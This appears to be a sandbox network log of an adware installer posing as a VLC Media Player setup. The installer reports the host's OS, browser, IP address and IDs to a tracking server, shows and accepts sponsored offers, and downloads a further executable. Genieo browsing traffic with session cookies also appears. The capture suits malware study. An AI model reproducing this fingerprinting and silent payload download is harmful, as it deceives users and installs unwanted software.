...."..1..U..u....*....p...-.F.6....Xgu... ...._E.\.].....V....7...*.h
.A...yqf.......B....:..F.2R.......PP.u4X...Fv.}`..Z.........>.'....
......0H..H.............O;v......=t..CM..k..E.cd...OW8.........|/B.R..
..Z....h4e....g..F..)...OVo...l.....8.r.....y./..W.0..0?.O:......@....
.....

GET /breakingnews HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: tvg_session=guardedeyJpdiI6ImlYSE5VR3pQTWlpNEFzRXk0OTBTSkE9PSIsInZhbHVlIjoiQlozOEtTNWJ6Tno5dGhQMU9MUEJSSldSTnFMRTlLRFg0d0ZsR3hzd0lXVDBUMTE5QWp1TSt4NTY0MUg5Uk05RWNxZHB4bXZWeHRwWlNMdzZKMjZ0Mnc9PSIsIm1hYyI6IjI3MTI5NDM3M2MzYWVmNzA1NmY2MTQ0MTIyZmMyYjFmMjkyOWY2ZDM5NzYxNWJhMTkyM2ZmN2E2ZjU4NDcxOTgifQ==; tvg_user=c70f9c88-e3df-4d1c-88db-0402c8ea95de

Cookie2: $Version=1


HTTP/1.1 200 OK

Content-Type: application/xml

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Cache-Control: private, max-age=10

Date: Fri, 15 May 2015 23:05:08 GMT

Content-Length: 10900

Connection: keep-alive
...........}.r.H...s"....c..... ...!..-.o!...s.....HX ..E4..0...c#....
[email protected]..=..q.P.*   ................$......X~Bx..^...?.3.ZO^........
.LE2.0JO.....'.,..HR.Y...gl...n<........%.$O..8.J. ...y...r.,i.8...
..X .).c/.y*...'.%!...."....3....z..u.x.9:!g.g..<..OS.L*H..a...:.r:
..gw....3I.uN...M.I....Zd6b..R2b....u.O.....B.<.....X$.Gru}M>.N.
.#..U4."N>.h.3iE.."v.2. .'f....M'....eX-.....d........]0f..0.'..I..
H....._.._.x........-....v...... ...z_.....y..3?..G.......Oy..xJ....YF
..q.g.g?N...¦..N.E........B:..i"..N...M..x.....3..~^i....5.~..u.....
.../.....dQU0....C..!..'...(.....i....."....G<..I..C.....4.rt....{T
w.Km..P.qO6..tL..dC1(...r.........^6.CeiP.......EU.......Gd...'.4.A...
.[YzB..c.[.....IW<......|..A..Y..?...F..L..w..."-d#.......w....>
1.PJn.\^.1.F...-.}.....'..D!.^...#r.......8"-... .@?....%.....].!.U.@.
a...}W.Jz&....jC...*U.D.......<........zh8..Q..lE.,..T.U.A.....Si.[
wiih.c.fl.C.g.eS6.>..Q.R.k..(../&.(`..Ck...._..|.V~.M...........#Nn
..2&.Z.a....Uhh_Y....P.Y..I...>....'3.x.NT.5..`..;..:.%./..#P8J..B.
...U...x].q.....A....7..1.2..B.Q......FS..m...a....!......w#..fSaU....
........Xh......._.].........W.y.}..@....;...fI....G.FB...J...cR.....)
........a....Y....w/.6.aos..7.K.{Kc...0b.....3AI>"e.<..%3....T.6
t...7HG........:"....!a....x.O<.3...O.$.O..kaq .&.......|..b.....(.
.C;QtBe]... \~.....d.kII.I...t.J.....[.W.RG..;Is...p.E../.:.........C.
...7  Y...z...m]..i........A."$$.\<*..f..."...M...4 ...aN8...O..p0.
}&....}......=.Iv..v......WMS...t.......L.dn...j....k!Li...F......<<< skipped >>>

GET /breakingnews HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.tvguide.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: tvg_session=guardedeyJpdiI6ImlYSE5VR3pQTWlpNEFzRXk0OTBTSkE9PSIsInZhbHVlIjoiQlozOEtTNWJ6Tno5dGhQMU9MUEJSSldSTnFMRTlLRFg0d0ZsR3hzd0lXVDBUMTE5QWp1TSt4NTY0MUg5Uk05RWNxZHB4bXZWeHRwWlNMdzZKMjZ0Mnc9PSIsIm1hYyI6IjI3MTI5NDM3M2MzYWVmNzA1NmY2MTQ0MTIyZmMyYjFmMjkyOWY2ZDM5NzYxNWJhMTkyM2ZmN2E2ZjU4NDcxOTgifQ==; tvg_user=c70f9c88-e3df-4d1c-88db-0402c8ea95de

Cookie2: $Version=1


HTTP/1.1 200 OK

Content-Type: application/xml

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Cache-Control: private, max-age=10

Date: Fri, 15 May 2015 23:05:08 GMT

Content-Length: 10900

Connection: keep-alive
...........}.r.H...s"....c..... ...!..-.o!...s.....HX ..E4..0...c#....
[email protected]..=..q.P.*   ................$......X~Bx..^...?.3.ZO^........
.LE2.0JO.....'.,..HR.Y...gl...n<........%.$O..8.J. ...y...r.,i.8...
..X .).c/.y*...'.%!...."....3....z..u.x.9:!g.g..<..OS.L*H..a...:.r:
..gw....3I.uN...M.I....Zd6b..R2b....u.O.....B.<.....X$.Gru}M>.N.
.#..U4."N>.h.3iE.."v.2. .'f....M'....eX-.....d........]0f..0.'..I..
H....._.._.x........-....v...... ...z_.....y..3?..G.......Oy..xJ....YF
..q.g.g?N...¦..N.E........B:..i"..N...M..x.....3..~^i....5.~..u.....
.../.....dQU0....C..!..'...(.....i....."....G<..I..C.....4.rt....{T
w.Km..P.qO6..tL..dC1(...r.........^6.CeiP.......EU.......Gd...'.4.A...
.[YzB..c.[.....IW<......|..A..Y..?...F..L..w..."-d#.......w....>
1.PJn.\^.1.F...-.}.....'..D!.^...#r.......8"-... .@?....%.....].!.U.@.
a...}W.Jz&....jC...*U.D.......<........zh8..Q..lE.,..T.U.A.....Si.[
wiih.c.fl.C.g.eS6.>..Q.R.k..(../&.(`..Ck...._..|.V~.M...........#Nn
..2&.Z.a....Uhh_Y....P.Y..I...>....'3.x.NT.5..`..;..:.%./..#P8J..B.
...U...x].q.....A....7..1.2..B.Q......FS..m...a....!......w#..fSaU....
........Xh......._.].........W.y.}..@....;...fI....G.FB...J...cR.....)
........a....Y....w/.6.aos..7.K.{Kc...0b.....3AI>"e.<..%3....T.6
t...7HG........:"....!a....x.O<.3...O.$.O..kaq .&.......|..b.....(.
.C;QtBe]... \~.....d.kII.I...t.J.....[.W.RG..;Is...p.E../.:.........C.
...7  Y...z...m]..i........A."$$.\<*..f..."...M...4 ...aN8...O..p0.
}&....}......=.Iv..v......WMS...t.......L.dn...j....k!Li...F......<<< skipped >>>

GET /network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:01:29 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.6..<.w..:qH..l..C..g.r..u"...I... ...LR^"j..
.........Ba.l....i...U.ZN..=.7..d.."m.........Gi...F..$]..d....2......
..d....e..E.2...>...z7x.vv.i...W.{(..?)..M..x<N..R.wK..|.-..8.\.
....|...........t2... ././}."..._.J.>.......by..... _.0....x6..>
....$^...e.X~....l.U......qr~:.........)...=..&....`......O........yz.
._....`I..........o.L.Y.x3.?../.'_...e6....`q.]...o..S...'.sL.<K.9.
<......;....Yf....K|.h.........2=e.....5...;.u.t.....'w..r...d6...&
gt;..!.....c..f.>.....}..Y..............O/.y..a.......t6...,9.d.t..
..e...............-...m8DA[...;..z.H/.9....{.D.N'.Y...mf..f......4.&..
>[email protected]|X......i...M....~..).....<....g...Y.?Mf.....?
..g.J......}..........t..S.^....nL.c....<.&#L...nt...ZJ?bK'.. ..*..
......t...W...&O...Sz...x....E..w9...]_Z...]........U.M.......8.....b&
gt;8=....;....$.{w..{.......x...................b................ k}ng
.u..0..CJ...\...j.,p.}...`...y....`7.\.:f....z.L.A..u.........[[..j.K]
.;k...................]?....{C....];<w..{..~o.lq-........{C........
...|......_9.w.r9......r. ..^....^.j.w.......W......B,.......k..l..9..
..?...t./.2.cBD........^<.........8.c.V.S....r.w.:....!....gz2.'a`~
..ez...4.W.-.](e...J.bp....;g....t6.\N..l.a/LZW.ty9.^e..;.Y..:....r.w.
#(.2....."x.u...(..C.-..V...Q......M.J....~.5N...h..N[W...77.(miO6v.p?
9JO....[.0....=}....|rmo.:lm.|....7./G.b..c..0n]..........Ku<.P6n.P
......tn*m..Z.o.}-.....M.....z~8...O.."....p<};.8$.;o.....}y...=...
..e...)...5...g...Z.L%..b=..r.o...4...TfU>..<.T.X/.EQ.......<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 2791

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=226e0daa89188549baf0d586a6bc816b&uid=226e0daa89188549baf0d586a6bc816b&affid=network_smb_indostreamix&sid=vlcmediaplayerelzy&cli_id=&softwareName=VLC Media Player&installerVersion=2.1&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTgw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=01b00ca330b1424976af909d9ce6b179&tokyo_csrf_timestamp=1431730889&unique_id=1e49cbf272b0b1cc3bcc98a4a55de57c&clientIp=37.57.16.189&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGER
HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:01:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
100c.............\ms.6.. 8..."..v.7u.I.\......t..."!.1I..)E......H...D
N..5.L.....b...".[..3.b..[..[.d.Cy%.)...x.r.m..Pp-.....:n..W.fBg,I.. .
,.i$.Q.......".a(.X..D..N..z.Nf4I..l.z....!.f.61S...V.l.S..<...Q|..
.T9...X.8c.b..>.y.:|..bb.../....i.....|...a.m....d?.w.<_.Xu.:.wt
.rp.2F...:../.k;[email protected]`...\...G..O.........h.....F..
c..C.]oG...m...b&. <I.O5-e._,..B..,P.8T<...q(...H....1m...i....p
.d...65.u..Z_f...=.g<..~...h...{.dPk....J.4vgE....s....,.....1...~2
}f.w.....H...$..3....t...&...t.....f...-.....X..4".9...q.....D..&.....
...f*..8..P.......i..L.YV".9......4UyR.C]..4V)..n..C..$.n.-d...{...`..
hX.....C.e..R..R.....H.!..,|-tN.T.#v.[.A........,.....lq@.\#y<7.. .
,...x....X7j....E......#[email protected].$..{h;.i.2.ey......C./vG&.....
x.4...8..6..f..=t$..<C.Mj......N.p..8d.XfT7I...0.T1o]`..P...T..#ps.
..(..>f.$gN*L.x......&..$R..)xe..r...3..A....F[W.o!...a4.........2"
..v......]..K..=p.^X.i..3.^,a..B#A6....&~.A#.aw..o..&B_A63.....s..a8"z
....-.....:........A.q"^.0.....'...`.e.L.5k...uc.G*p.#.Qa~m8n..Z....V.
.@l.].[.J..D.v...n.....o....\e ....$..s..j.st.....#..(...)0.U.d...G&2.
....4.ON.`..-F..:.0......D....*..O:.].......N.3m`..A.g.OV| `F.... R...
...ii.....'..q'.e`CU<.....~h.&8S..}....cAh...3..|.......-.m....@7vZ
..n.i..Y.%......T.').WY..:..<.....B........K.......i. ..w.!.FO. ..?
88D.*|....=...Q.....MW..%Ss.*.f.Lh...L....&}.A....q.x.C-..hAd..5."..Y%
[email protected]..._..3......M...h...VQ..e...4h..}..J.....q..<...);.M
r)..[....W#.w.....N_?...J...}5...~..@D.~7...X).......J._9.e6#....M<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.3946411919204644 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmc=1; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:01:32 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=1&index_in_screen=1&index_in_session=1&0.18410186262342382 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmc=1; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:01:39 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0......


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.48067369232473655 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmc=1; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:01:39 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:01:39 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=116286-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Range: bytes 116286-465143/465144

Content-Length: 348858

Connection: keep-alive
..h..u".6.....I^..3U........<..f....;fEE...j...e.[.Iy..%&..j\......
fD..".S.u.._.....P...d..tMt..D.D.P..7ft....G.7'.=..3.^......uP..7.....
..z....{..8...~...I...).V...x}../......|..t.4B.........G.':xz....C.m.H
z..6.........?8p...W..0.w[H..=......T....Y8.&..r.....e.5...ywg.JQ...].
.vJ..}.A...q.{[email protected])....B0...z.i`..0..i..;.P.{U...hp.W..SC.
L.Xq.....y(i..f..=.ma.. .#.&N.#.C;v....j......Q....n.......~ .DX.].49.
.......l..,.H......(....[.:[email protected].:......L.....#3......2X..s..2.ZPk.
....9.tj$.-.. ...vn{.......v!...KQ==.SS.0. E.\\r%{==.6.!sP......~...K.
...T..v....4....G4d.......NS.Bsl..(.!...y..;.W..`...z}....M..T#...`.8.
C..g...4b.....a=.O....N..(..)....%.....?..i}.....zQ....6&..3.L&t6v'F.s
'/...\%...Q...~M..Q.._...=>.T..4Qpl,..q........{[email protected]
.Yk..C.`.v.....lc..z.5..z ...."......^.d] ].&"x..m.e...v...m....[s.f..
.../.......2N..O.g0.1..h1.0~&..04`..j..T..e..vA?.,wm\L.w8)..l......L.)
MC.j".R.../.]..H...sb6....r>........D...e.7../.%..p9."<..:3...&l
t;..4<.i.......p^Z......@Om$m.[...lo..|d.[.|......j6.riB.c}.zB.....
Z..f.D.)z......g.CV.a....n..M./^..q.)...g.........i.L......}.....D.X..
..Z...D...D...M.,.......1..P.|.....rb..:K..hn....k:......V.......M.D..
......UU..[3..o...O.I....G... r:.....g.,.....Fr....]..3.Xt.o....]<p
...<....VN...N....r~c.ZK..M.7.....Z6[4..Z%[email protected]....<..6Yx.>.).
:....hc4d...p..j)-..j.?....X.H.P)..M..._ ....-......#1.v...t...l..f..N
g.=i.e.9#gO....b.t ........X........'....,[..kc.l.lb......`.%.....Y..*
..G.'..w..._...!.\..)*...D.#...4...|X..U......XJ.L[#.D*[email protected]...<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=180,public

Content-Encoding: gzip

Content-Type: text/plain; charset=utf-8

Date: Fri, 15 May 2015 23:04:58 GMT

Etag: "YM:1:bbebb2ef-0d91-468b-9922-e136465027260005095692211cb6"

Expires: Fri, 15 May 2015 23:07:58 GMT

Last-Modified: Wed, 03 Dec 2014 21:31:47 GMT

Server: ATS

Via: http/1.1 yts277.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSfW]), HTTP/1.1 web14.use45.mobstor.bf1.yahoo.com UserFiberFramework/1.0, http/1.1 l4.ycs.ams.yahoo.com (ApacheTrafficServer [cSsNfU]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cSsNfU])

x-ysws-request-id: f885bd75-93e9-43e8-a72f-e49041442d9f

x-ysws-visited-replicas: gops.use45.mobstor.vip.bf1.yahoo.com

Age: 137

Content-Length: 91

Vary: Accept-Encoding,X-Ssl

Connection: keep-alive
...........-N-.MLO. .R..r.,N.../.R...,I.M,.R.())(....K-/..L....K.../..
.U..p.........$..E.......


GET /rss/mostviewed HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Redirect

Date: Fri, 15 May 2015 23:04:58 GMT

Via: http/1.1 yts277.global.media.ir2.yahoo.com (ApacheTrafficServer [c s f ]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: no-store

Location: hXXp://news.yahoo.com/rss/

Content-Type: text/html

Content-Language: en

Content-Length: 402

Age: 0

Connection: keep-alive
<HTML>.<HEAD>.<TITLE>Error</TITLE>.</HEAD&g
t;..<BODY BGCOLOR="white" FGCOLOR="black">.<!-- status code :
 301 -->.<!-- Error: GET -->.<!-- host machine: yts277.glo
bal.media.ir2.yahoo.com -->.<!-- timestamp: 1431731098.000 -->
;.<!-- url: hXXp://news.yahoo.com/rss/mostviewed-->.<H1>Er
ror</H1>.<HR>..<FONT FACE="Helvetica,Arial"><B>
;.Description: Could not process this "GET" request..</B></FO
NT>.<HR>.</BODY>.....


GET /rss/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:01:47 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:06:47 GMT

X-Yahoo-Request-Id: 41l5mstalcumr

X-Frame-Options: SAMEORIGIN

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 191

Via: http/1.1 yts279.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

Content-Length: 6375

Connection: keep-alive
...........].r...}.W`<Ug.*Q.....]r.$Nl......."A..o!H ....y....;_2..
R.$N..N..U{W,[[email protected]..??..;...q.p.^.7........F.yVo...{[.R.WFj3....7.
,K6k5%x.........a-....E.......G...).Y .....HL........o..a..{*...H.....
..~.l..F.r........ ...$C..C_..4L.3.../.e^..L.....*{"26J..`........N.Y.
H2.91....M%~;.......g..n.....<...~[D..SHZ..9..Y*.~......;.X...K..#.
..A.....B..\.[......|...n?Ne...C>3........b.....Zy!....m.nF:....6u.
.AyIP..p..N/jnM_}F7..Y:Sg.YrV..>6....$.o...{[.RZ..p...Y....Q....vb(
/.<.<..a..#....?..<eC....s...........#..H.1............0G.C ,
:..C.....Y..W:.U..;.f._..Y.l..c>.J.y.As1G....Y..k.j...g..}....w...e
v.<......7;S..e_.n.n...........f..p.x....].........U ...]....t.":.U
.4^;.y.O..1Yv.....z.S..;....F..n...;......Q.5....O....g.......G.......
'...d.pP}v.d...f>..........^g......=..W..*..*K1..Y..7..8....`..n...
.q .O.S~<.......4Kc .......0.E.S..6.2............8W..3"..r.....m0mR
wz8.8...7..Zi.5N..ct...Y6...4....U.0BcP.....P...Pf.d.tFVE.....z...XfU-
..KG)s...p.....y....U?....}?.o.s.jQ."[email protected].
...8.&...D./......,.....Y....5........._....S..X..~...T>..0..G.%...
.W.l...O.d.r..d~..l.f)..:#Es..S..C.l.p.QX*.H...6.i....T.E.~...-.`..(.R
..KqOd3.N..n...o.N.R..={%.....Y/z.=?.....[....M....E..f.u.3r.v........
.....kw;....Po..TDU....`iP...v....j...V..E.....g. @..'R2>....b..B.m
.N......"v.q.c...]>.h... :...-.|\.s".&N].....<) ...Q....K....y1.
..8eI.|2.1...l..(.=I%......4.....M.X.Kx...0.2q...%W..rX.....X:...&....
 .}.pW../9...s.0D..% D.....P..a..U..P...H.E.....h....*.?8F.X8....v<<< skipped >>>

GET /rss/mostviewed HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Redirect

Date: Fri, 15 May 2015 23:04:58 GMT

Via: http/1.1 yts283.global.media.ir2.yahoo.com (ApacheTrafficServer [c s f ]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: no-store

Location: hXXp://news.yahoo.com/rss/

Content-Type: text/html

Content-Language: en

Content-Length: 402

Age: 0

Connection: keep-alive
<HTML>.<HEAD>.<TITLE>Error</TITLE>.</HEAD&g
t;..<BODY BGCOLOR="white" FGCOLOR="black">.<!-- status code :
 301 -->.<!-- Error: GET -->.<!-- host machine: yts283.glo
bal.media.ir2.yahoo.com -->.<!-- timestamp: 1431731098.000 -->
;.<!-- url: hXXp://news.yahoo.com/rss/mostviewed-->.<H1>Er
ror</H1>.<HR>..<FONT FACE="Helvetica,Arial"><B>
;.Description: Could not process this "GET" request..</B></FO
NT>.<HR>.</BODY>.....


GET /rss/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:01:47 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:06:47 GMT

X-Yahoo-Request-Id: 41l5mstalcumr

X-Frame-Options: SAMEORIGIN

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 191

Via: http/1.1 yts279.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

Content-Length: 6375

Connection: keep-alive
...........].r...}.W`<Ug.*Q.....]r.$Nl......."A..o!H ....y....;_2..
R.$N..N..U{W,[[email protected]..??..;...q.p.^.7........F.yVo...{[.R.WFj3....7.
,K6k5%x.........a-....E.......G...).Y .....HL........o..a..{*...H.....
..~.l..F.r........ ...$C..C_..4L.3.../.e^..L.....*{"26J..`........N.Y.
H2.91....M%~;.......g..n.....<...~[D..SHZ..9..Y*.~......;.X...K..#.
..A.....B..\.[......|...n?Ne...C>3........b.....Zy!....m.nF:....6u.
.AyIP..p..N/jnM_}F7..Y:Sg.YrV..>6....$.o...{[.RZ..p...Y....Q....vb(
/.<.<..a..#....?..<eC....s...........#..H.1............0G.C ,
:..C.....Y..W:.U..;.f._..Y.l..c>.J.y.As1G....Y..k.j...g..}....w...e
v.<......7;S..e_.n.n...........f..p.x....].........U ...]....t.":.U
.4^;.y.O..1Yv.....z.S..;....F..n...;......Q.5....O....g.......G.......
'...d.pP}v.d...f>..........^g......=..W..*..*K1..Y..7..8....`..n...
.q .O.S~<.......4Kc .......0.E.S..6.2............8W..3"..r.....m0mR
wz8.8...7..Zi.5N..ct...Y6...4....U.0BcP.....P...Pf.d.tFVE.....z...XfU-
..KG)s...p.....y....U?....}?.o.s.jQ."[email protected].
...8.&...D./......,.....Y....5........._....S..X..~...T>..0..G.%...
.W.l...O.d.r..d~..l.f)..:#Es..S..C.l.p.QX*.H...6.i....T.E.~...-.`..(.R
..KqOd3.N..n...o.N.R..={%.....Y/z.=?.....[....M....E..f.u.3r.v........
.....kw;....Po..TDU....`iP...v....j...V..E.....g. @..'R2>....b..B.m
.N......"v.q.c...]>.h... :...-.|\.s".&N].....<) ...Q....K....y1.
